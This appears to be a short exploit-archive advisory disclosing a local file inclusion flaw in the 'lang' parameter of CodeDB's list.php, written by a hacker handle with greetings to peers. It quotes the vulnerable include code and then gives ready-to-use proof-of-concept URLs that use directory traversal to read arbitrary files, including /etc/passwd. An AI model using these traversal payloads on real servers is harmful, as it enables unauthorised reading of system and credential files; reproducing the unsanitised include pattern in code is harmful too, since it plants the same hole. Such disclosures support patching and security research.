CodeDB (list.php lang) Local File Inclusion Vulnerability

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# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
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Source :

// list.php

2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol

7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d


Proof of Concept :

http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]


EoF.